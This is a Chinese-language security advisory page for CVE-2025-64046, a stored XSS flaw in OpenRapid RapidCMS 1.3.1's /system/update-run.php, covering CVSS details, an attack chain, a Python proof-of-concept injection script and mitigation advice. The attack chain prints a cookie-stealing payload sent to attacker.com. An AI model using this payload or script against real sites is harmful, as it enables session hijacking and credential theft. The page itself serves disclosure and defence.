IPBUF安全漏洞报告
English
CVE-2025-64046 CVSS 6.1 中危

CVE-2025-64046 OpenRapid RapidCMS跨站脚本漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2025-64046
漏洞类型
XSS跨站脚本攻击
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
OpenRapid RapidCMS

相关标签

CVE-2025-64046XSS跨站脚本攻击OpenRapidRapidCMS存储型XSSWeb安全漏洞

漏洞概述

CVE-2025-64046是OpenRapid RapidCMS 1.3.1版本中存在的一个存储型跨站脚本(Stored XSS)安全漏洞。该漏洞位于系统更新功能文件/system/update-run.php中,由于应用程序在处理用户输入时未对特殊字符进行充分的HTML转义或输入验证,导致攻击者可以在服务器端存储恶意脚本代码。当其他用户访问包含恶意脚本的页面时,攻击者注入的JavaScript代码将在受害者浏览器中执行,从而实现会话劫持、敏感信息窃取、钓鱼攻击等恶意行为。由于该漏洞无需认证即可利用,且CVSS评分达到6.1,对机密性和完整性有一定影响,因此被评定为中等严重程度。建议受影响用户尽快采取修复措施或应用临时缓解方案。

技术细节

该漏洞本质是一个存储型XSS问题,存在于RapidCMS的系统更新模块中。攻击者可以通过向/system/update-run.php端点提交特制的Payload,利用未过滤的用户输入在服务器端存储恶意JavaScript代码。漏洞产生的根本原因在于应用程序在将用户输入回显到页面时,缺少对XSS特殊字符(如<、>、"、'、script标签等)的适当转义处理。攻击者构造的恶意脚本会被永久存储在服务器数据库或配置文件中,当管理员或其他用户访问相关功能页面时,浏览器会解析并执行这段恶意代码。由于该功能可能涉及系统配置或用户管理页面,攻击者可能借此窃取管理员会话Cookie、修改系统配置或进行进一步权限提升攻击。CVSS向量显示该漏洞通过网络远程利用,无需认证但需要用户交互才能触发。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标站点是否使用OpenRapid RapidCMS 1.3.1版本,并确认/system/update-run.php端点存在且可访问
STEP 2
步骤2: 构造Payload
攻击者构造包含恶意JavaScript代码的XSS Payload,如<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
STEP 3
步骤3: 发送恶意请求
通过POST请求向/system/update-run.php提交包含恶意代码的表单数据,由于输入验证不足,Payload被存储在服务器端
STEP 4
步骤4: 等待受害者触发
当管理员或普通用户访问包含恶意脚本的页面时,浏览器会解析并执行存储的JavaScript代码
STEP 5
步骤5: 窃取敏感信息
恶意脚本执行后将用户的Cookie、会话令牌或其他敏感信息发送到攻击者控制的服务器
STEP 6
步骤6: 会话劫持
攻击者利用窃取的会话信息冒充合法用户进行进一步操作,可能包括修改系统配置或获取更高权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import argparse # CVE-2025-64046 PoC - OpenRapid RapidCMS XSS in /system/update-run.php # This PoC demonstrates how to inject malicious JavaScript via the update-run endpoint def exploit_xss(target_url, payload): """ Exploit stored XSS vulnerability in OpenRapid RapidCMS Args: target_url: Base URL of the vulnerable RapidCMS installation payload: Malicious JavaScript payload to inject """ # Construct the vulnerable endpoint endpoint = f"{target_url.rstrip('/')}/system/update-run.php" # Prepare the malicious data with XSS payload data = { 'update_field': payload, # Inject XSS payload 'action': 'update' } try: # Send POST request to inject the XSS payload response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[+] Payload sent successfully to {endpoint}") print(f"[+] Payload: {payload}") print("[*] The XSS payload is now stored and will execute when the page is accessed") return True else: print(f"[-] Failed to send payload. Status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-64046 XSS PoC') parser.add_argument('-u', '--url', required=True, help='Target RapidCMS URL') parser.add_argument('-p', '--payload', default='<script>alert(document.cookie)</script>', help='XSS payload') args = parser.parse_args() exploit_xss(args.url, args.payload) # Usage: python cve-2025-64046.py -u http://target.com/rapidcms -p '<img src=x onerror=alert(1)>'

影响范围

OpenRapid RapidCMS 1.3.1

防御指南

临时缓解措施
在官方补丁发布之前,建议临时禁用或限制/system/update-run.php的访问权限,对用户输入实施严格的过滤和验证机制,使用WAF(Web应用防火墙)规则拦截包含XSS特征的请求,并在所有输出点实施HTML实体编码以防止脚本执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表